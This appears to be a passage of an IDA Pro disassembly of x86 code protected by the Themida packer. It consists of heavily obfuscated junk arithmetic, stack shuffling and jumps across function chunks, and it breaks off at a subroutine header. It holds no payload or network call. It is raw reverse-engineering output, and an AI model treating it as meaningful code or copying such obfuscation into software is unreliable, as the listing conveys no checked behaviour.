		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_557C9D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_556841
; ---------------------------------------------------------------------------


loc_55C7A9:				; CODE XREF: Themida_:005536D4j
		pop	esi
		xchg	edx, [esp]
		pop	esp
		xor	ebx, eax
		jmp	loc_553B00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C7B5:				; CODE XREF: sub_55ABF6-3A92j
		mov	bh, 37h
		sub	al, 61h
		jmp	loc_55171A
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553ACA


loc_55C7BE:				; CODE XREF: sub_553ACA-259Ej
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5518E1
; END OF FUNCTION CHUNK	FOR sub_553ACA
; ---------------------------------------------------------------------------


loc_55C7D3:				; CODE XREF: Themida_:0055A2E5j
		mov	ecx, esp
		jmp	loc_559075
; ---------------------------------------------------------------------------


loc_55C7DA:				; CODE XREF: Themida_:00554D64j
		add	esp, 4
		push	edx
		push	eax
		mov	eax, 12570Eh
		mov	edx, eax
		pop	eax
		add	edx, 0FFEDA8F6h
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55A2A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55C7FC:				; CODE XREF: sub_551F97+368Bj
		inc	edx
		sub	edx, 32EC1442h
		sub	edx, 60A11226h
		add	edx, 0B82A6779h
		jmp	loc_553CC5
; END OF FUNCTION CHUNK	FOR sub_551F97

; =============== S U B	R O U T	I N E =======================================



sub_55C814	proc near		; CODE XREF: sub_55C87F-78E0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551F21 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005521E5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005525B3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00552DC7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00553062 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005533AF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005533C9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00554017 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005544AE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00554693 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055471C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00554780 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00555304 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00555B1A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00555CBE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00555D72 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00555DD5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055642A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00556CAA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00556CDE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00556DEF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00556F45 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00557429 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005574EE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00558244 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00558836 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055894F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00558F53 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005590F2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005592EB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559301 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00559365 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00559617 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055A085 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055A78B SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0055B48D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055B53B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055BD77 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C0C7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055C203 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C648 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055CC97 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055CF4B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055D00E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055D167 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055D7C8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055D943 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055DA9D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055DB71 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0055DC9A SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		sub	esp, 4
		mov	[esp+8+var_8], edi
		mov	edi, 47FE6093h
		push	ebx
		mov	ebx, 3F81B47h
		dec	ebx
		neg	ebx
		push	esi
		push	ebx
		mov	ebx, 0BBF9BA29h
		mov	esi, ebx
		pop	ebx
		jmp	loc_558836
sub_55C814	endp


; =============== S U B	R O U T	I N E =======================================



sub_55C840	proc near		; CODE XREF: sub_552B28+35AFj

var_2		= byte ptr -2
arg_0		= byte ptr  4

; FUNCTION CHUNK AT 0055154B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553004 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005530E6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00554BAD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00554D0D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005551F2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00555F68 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00556D06 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00556E8E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005598CD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055AEB8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B60E SIZE 00000016 BYTES

		push	ebx
		mov	bh, 64h
		sub	bh, 66h
		jmp	loc_556D06
sub_55C840	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_55C84B	proc near		; CODE XREF: sub_55ABF6+9D1j

; FUNCTION CHUNK AT 005525E3 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, 4
		sub	esi, 22EF4E5Eh
		add	esi, ebp
		add	esi, 22EF4E5Eh
		pop	ebp
		jmp	loc_5525E3
sub_55C84B	endp

; ---------------------------------------------------------------------------


loc_55C865:				; CODE XREF: Themida_:00551CA7j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	7A40h
		jmp	loc_5592F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55C879:				; CODE XREF: sub_559249-408Fj
		push	ecx
		jmp	loc_55DAA5
; END OF FUNCTION CHUNK	FOR sub_559249

; =============== S U B	R O U T	I N E =======================================



sub_55C87F	proc near		; CODE XREF: sub_55A4DA+497j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553B69 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00554F96 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00556C66 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00557A0E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559563 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055B13E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055B2AB SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055B904 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C134 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C4F2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055D0BA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055D7BB SIZE 0000000D BYTES

		push	ebp
		push	20D243F5h
		pop	ebp
		xchg	eax, ebp
		not	eax
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		push	ebx
		mov	ebx, 7DA8736Dh
		and	ebp, ebx
		pop	ebx
		add	ebp, 0FFFFFFFFh
		push	ebx
		push	edx
		mov	edx, 6D230D41h
		jmp	loc_55D0BA
sub_55C87F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55C8A7:				; CODE XREF: sub_55CE17-49E5j
		mov	edx, 1
		add	edi, edx
		pop	edx
		jmp	loc_5556FF
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55C8B4:				; CODE XREF: sub_558326-609j
		add	edi, ecx
		add	edi, 713D6694h
		push	esi
		mov	esi, 6833551Ah
		sub	edi, esi
		pop	esi
		sub	edi, 2CC855E6h
		std
		push	esi
		mov	esi, 7F711C1Dh
		jmp	loc_5578F6
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------


loc_55C8D7:				; CODE XREF: Themida_:0055BEC5j
		push	edi
		jmp	loc_55B63E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_55C8DD:				; CODE XREF: sub_552791+3EABj
		xor	ah, 0BCh
		xor	dh, ah
		pop	eax
		jmp	loc_554F1D
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_55C8E8:				; CODE XREF: sub_55326E+69D1j
		pop	edi
		pop	eax
		push	edi
		xor	[esp-28h+arg_24], 562258C5h
		push	[esp-28h+arg_24]
		pop	edx
		jmp	loc_5562C3
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------


loc_55C8FB:				; CODE XREF: Themida_:00559D84j
		pop	esp
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55C901:				; CODE XREF: sub_55CFFC-4E99j
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_55B89A
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55C90A:				; CODE XREF: sub_552215+8275j
		or	edi, 71B3A2Bh
		sub	edi, 57DF7FFBh
		add	esi, edi
		jmp	loc_5582F9
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------


loc_55C91D:				; CODE XREF: Themida_:00558F8Bj
		movzx	cx, ah
		push	small 120Eh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55C935:				; CODE XREF: Themida_:00555CD2j
		xor	[esp], eax
		push	eax
		push	ebp
		pop	eax
		push	dword ptr [esp]
		jmp	loc_55D9B5
; ---------------------------------------------------------------------------


loc_55C943:				; CODE XREF: Themida_:00558FC0j
		add	esp, 4
		jmp	loc_55B864
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_55DBB8
; ---------------------------------------------------------------------------


loc_55C951:				; CODE XREF: Themida_:00557E17j
		pop	esp
		push	esi
		mov	esi, 729A0B30h
		push	ebx
		mov	ebx, 56DB6848h
		push	31C5h
		mov	[esp], esi
		push	eax
		mov	eax, 2E1A2999h
		push	ebx
		mov	ebx, 10B41CF0h
		or	ebx, 2E843FCEh
		shr	ebx, 7
		jmp	loc_5519D6
; ---------------------------------------------------------------------------


loc_55C980:				; CODE XREF: Themida_:005535A1j
		xor	edx, [esp]
		jmp	loc_551A56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E01


loc_55C988:				; CODE XREF: sub_552E01+4CE2j
		inc	ebx
		xor	ebx, 0BC49F4A3h
		mov	ebp, ebx
		pop	ebx
		add	ebp, 0FCE9DA6Bh
		and	ecx, ebp
		push	[esp+4+var_4]
		mov	ebp, [esp+8+var_8]
		jmp	loc_55D3BF
; END OF FUNCTION CHUNK	FOR sub_552E01
; ---------------------------------------------------------------------------


loc_55C9A5:				; CODE XREF: Themida_:0055D74Cj
		mov	edi, [esp]
		add	esp, 4
		and	edx, 7C1F5F06h
		sub	edx, 540A1D00h
		jmp	loc_55DAF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_55C9BC:				; CODE XREF: sub_55BB30-1B54j
		add	esp, 4
		push	eax
		mov	eax, 18872D56h
		jmp	loc_55B9B5
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------


loc_55C9CD:				; CODE XREF: Themida_:00552767j
		add	eax, 4B8F2E03h
		or	eax, 4BC54973h
		xor	eax, 5BCDDB73h
		add	esi, eax
		jmp	loc_55313E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C9E3:				; CODE XREF: sub_55ABF6+11B2j
		sub	esi, edi
		add	esi, 35E56A89h
		pop	edi
		jmp	loc_5528FB
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555211


loc_55C9F1:				; CODE XREF: sub_555211+53EDj
		mov	edx, [esp+14h+var_14]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+18h+var_18]
		pop	esp
		inc	ecx
		inc	ecx
		sub	ecx, 0FFFFFFFFh
		add	ecx, 0DD48BEADh
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		add	ebx, 2
		jmp	loc_551C5D
; END OF FUNCTION CHUNK	FOR sub_555211
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		push	ecx
		mov	ecx, 61733B8Ah
		shr	ecx, 6
		inc	ecx
		and	ecx, 16AA4EB3h
		push	edx
		jmp	loc_556FBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55CA4A:				; CODE XREF: sub_559249-3EFBj
		push	ecx
		push	[esp+1Ch+var_1C]
		pop	esi
		add	esp, 4
		mov	ecx, [esp+18h+var_18]
		jmp	loc_557E1C
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555449


loc_55CA5D:				; CODE XREF: sub_555449+3j
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_555449
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55CA62:				; CODE XREF: sub_55ABF6-13C5j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2+var_4+2]
		pop	esp
		push	esi
		mov	esi, 24373D0h
		jmp	loc_559A34
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558854


loc_55CA7F:				; CODE XREF: sub_558854+1137j
		add	esi, ecx
		pop	ecx
		jmp	loc_55CB09
; END OF FUNCTION CHUNK	FOR sub_558854
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55CA87:				; CODE XREF: sub_55ABF6-5A5Dj
		neg	ecx
		shl	ecx, 8
		push	edi
		push	ebp
		mov	ebp, 15293BC4h
		jmp	loc_5577B1
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55CA98:				; CODE XREF: Themida_:00555DD0j
		push	51541FB1h
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 51541FB5h
		sub	eax, 161A2EEAh
		sub	eax, edi
		add	eax, 161A2EEAh
		pop	edi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_553BC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_55CABF:				; CODE XREF: sub_55AABB+4j
		push	edi
		jmp	loc_55228F
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------


loc_55CAC5:				; CODE XREF: Themida_:005570D8j
		sub	ebx, 392A5947h
		push	ebx
		sub	dword ptr [esp], 53204BFCh
		pop	esi
		add	esi, 53204BFCh
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_558A25
; ---------------------------------------------------------------------------


loc_55CAEB:				; CODE XREF: Themida_:00559F30j
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55652D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553571


loc_55CAFD:				; CODE XREF: sub_553571+239Fj
		add	esp, 4
		push	ecx
		jmp	loc_5538ED
; END OF FUNCTION CHUNK	FOR sub_553571
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558854


loc_55CB09:				; CODE XREF: sub_558854+422Ej
		push	eax
		mov	eax, 3613381Fh
		sub	esi, eax
		jmp	loc_55B487
; END OF FUNCTION CHUNK	FOR sub_558854
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D3E1


loc_55CB16:				; CODE XREF: sub_55D3E1-3448j
		mov	dl, cl
		mov	[edi+eax*4], dl
		pop	edx
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		add	esp, 4
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55D3E1
; ---------------------------------------------------------------------------
		lodsb
		push	dx
		push	12Bh
		mov	[esp], eax
		push	ebx
		push	ecx
		mov	ch, 89h
		xchg	bl, ch
		not	bl
		xchg	bl, ch
		shl	ch, 2
		push	eax
		mov	al, 5
		jmp	loc_55B255
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555211


loc_55CB61:				; CODE XREF: sub_555211-35A2j
		push	6D66h
		mov	[esp+0Ch+var_C], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		jmp	loc_555004
; END OF FUNCTION CHUNK	FOR sub_555211
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554F87


loc_55CB81:				; CODE XREF: sub_554F87+7516j
		sub	edx, 4
		xor	edx, [esp-4+arg_0]
		xor	[esp-4+arg_0], edx
		xor	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_55305A
; END OF FUNCTION CHUNK	FOR sub_554F87
; ---------------------------------------------------------------------------


loc_55CB98:				; CODE XREF: Themida_:0055838Fj
		and	ebp, 54006452h
		jmp	loc_55C280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A833


loc_55CBA3:				; CODE XREF: sub_55A833+3577j
		add	esi, edi
		sub	esi, 5EBF5EAFh
		pop	edi
		add	esi, eax
		push	584Ah
		mov	[esp+4+var_4], edi
		jmp	loc_55D178
; END OF FUNCTION CHUNK	FOR sub_55A833
; ---------------------------------------------------------------------------


loc_55CBBB:				; CODE XREF: Themida_:00553D1Bj
		add	ebx, 53C40064h
		add	ebx, ebp
		sub	ebx, 53C40064h
		jmp	loc_556940
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_55CBCE:				; CODE XREF: sub_554085-2366j
		sub	ebp, 4
		xchg	ebp, [esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_559CD8
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55CBDD:				; CODE XREF: sub_55314C-4EDj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_55707E
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55CBF1:				; CODE XREF: sub_55ABF6+14Ej
		mov	eax, 2ACA00FAh
		shr	eax, 1
		sub	eax, 5FE32244h
		add	eax, 279E16E5h
		jmp	loc_55A36F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55CC07:				; CODE XREF: Themida_:00557E97j
		push	small 9A6h
		mov	[esp], ax
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55CC14:				; CODE XREF: Themida_:00554236j
		push	eax
		mov	eax, 48A717BEh
		not	eax
		inc	eax
		not	eax
		and	eax, 47003005h
		xor	eax, 40001007h
		add	esi, eax
		jmp	loc_554286
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55CC30:				; CODE XREF: sub_55ABF6-7F1Fj
		add	esp, 4
		add	ebx, eax
		push	ebp
		jmp	loc_55B8BA
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_55CC3B:				; CODE XREF: sub_5546E4+5j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_55B946
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5586A8


loc_55CC4F:				; CODE XREF: sub_5586A8-1A0Ej
		pop	esp
		shl	word ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_5586A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55CC5A:				; CODE XREF: sub_55A4DA+328Fj
		sub	ebx, ebp
		pop	ebp
		push	7488h
		mov	[esp+0Ch+var_C], edx
		mov	edx, 1
		push	ebx
		mov	ebx, 20h
		push	edi
		mov	edi, 6D4A524Ah
		sub	ebx, edi
		pop	edi
		add	ebx, 7FEC2F58h
		add	ebx, edi
		push	edx
		mov	edx, 12831809h
		jmp	loc_553A44
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552118


loc_55CC8C:				; CODE XREF: sub_552118+38C9j
		or	edi, 4D266E10h
		jmp	loc_55ACC7
; END OF FUNCTION CHUNK	FOR sub_552118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55CC97:				; CODE XREF: sub_55C814-945Aj
		shl	esi, 2
		shl	esi, 3
		sub	esi, 91693FDCh
		add	edi, esi
		pop	esi
		sub	edi, 4
		push	edi
		jmp	loc_555304
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_55CCB2:				; CODE XREF: sub_55163B+C785j
		push	7629h
		mov	[esp+8+var_8], ebx
		pop	eax
		pop	ebx
		xor	eax, 8DD4ED77h
		mov	ecx, eax
		pop	eax
		sub	edx, ecx
		pop	ecx
		and	eax, edx
		pop	edx
		shr	eax, 10h
		jmp	loc_55BF2B
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------


loc_55CCD2:				; CODE XREF: Themida_:0055D60Bj
		mov	edx, 24817C6Eh
		sub	dword ptr [esp+4], 0BE57392h
		sub	[esp+4], edx
		add	dword ptr [esp+4], 0BE57392h
		pop	edx
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559E57


loc_55CCF1:				; CODE XREF: sub_559E57+263Bj
		not	di
		xchg	di, dx
		xor	[esp+4+var_4], dx
		xor	dx, [esp+4+var_4]
		xor	[esp+4+var_4], dx
		mov	cx, [esp+4+var_4]
		add	esp, 2
		push	cx
		push	small word ptr [esp+2]
		pop	cx
		pop	small [esp+2+var_2]
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_559E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5594EA


loc_55CD1C:				; CODE XREF: sub_5594EA-72B2j
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebp
		push	esp
		pop	ebp
		jmp	loc_559354
; END OF FUNCTION CHUNK	FOR sub_5594EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55CD2A:				; CODE XREF: sub_55314C-4F6j
		sub	edx, ebp
		jmp	loc_5554D8
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_55CD31:				; CODE XREF: Themida_:00551AB0j
		mov	ecx, 526660DDh
		xor	ecx, 519F0A5Ch
		jmp	loc_55B239
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55CD41:				; CODE XREF: sub_55314C+846Bj
		sub	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edi
		jmp	loc_55B7D4
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B3F3


loc_55CD50:				; CODE XREF: sub_55B3F3+12C9j
		push	esi
		mov	esi, 4C831D16h
		neg	esi
		inc	esi
		inc	esi
		xor	esi, 0B37CE2E8h
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		jmp	sub_55A686
; END OF FUNCTION CHUNK	FOR sub_55B3F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_55CD71:				; CODE XREF: sub_55C1DB+C73j
		mov	esi, 45763A4Ah
		sub	edi, esi
		jmp	loc_553274
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------


loc_55CD7D:				; CODE XREF: Themida_:00551B63j
		sub	ebx, ebp
		pop	ebp
		add	ebx, 245F4547h
		jmp	loc_55D692
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_55CD8B:				; CODE XREF: sub_55A0D6-5D85j
		pop	esp
		sub	esi, 77D73A9h
		sub	esi, 5334BEAh
		add	esi, ebx
		add	esi, 5334BEAh
		add	esi, 77D73A9h
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		sub	esi, 2
		xor	esi, [esp+8+var_8]
		xor	[esp+8+var_8], esi
		xor	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	word ptr [esp-6+arg_0+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556E4D


loc_55CDCB:				; CODE XREF: sub_556E4D-46F9j
		sub	edx, 0B3032336h
		add	ebp, edx
		jmp	loc_558B8A
; END OF FUNCTION CHUNK	FOR sub_556E4D
; ---------------------------------------------------------------------------


loc_55CDD8:				; CODE XREF: Themida_:0055B4B7j
		mov	fs:[edx], ax
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_55CDE1:				; CODE XREF: sub_554E9D+433Cj
		sub	eax, ebp
		pop	ebp
		jmp	loc_5588E9
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_55CDE9:				; CODE XREF: sub_55611A+3315j
		push	ecx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	edx
		mov	dl, 0A3h
		mov	bh, 0AAh
		sub	bh, dl
		jmp	loc_557476
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55CDFF:				; CODE XREF: sub_55AE3A-402Ej
		not	dh
		jmp	loc_55B624
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		jmp	loc_552CF6
; ---------------------------------------------------------------------------


loc_55CE10:				; CODE XREF: Themida_:005532FEj
		mov	ah, 8Fh
		jmp	loc_55BBF5

; =============== S U B	R O U T	I N E =======================================



sub_55CE17	proc near		; CODE XREF: sub_55A167+23E6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 005516BA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00551C09 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00551C3A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005520A6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005521FB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005529EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00552DDF SIZE 00000010 BYTES
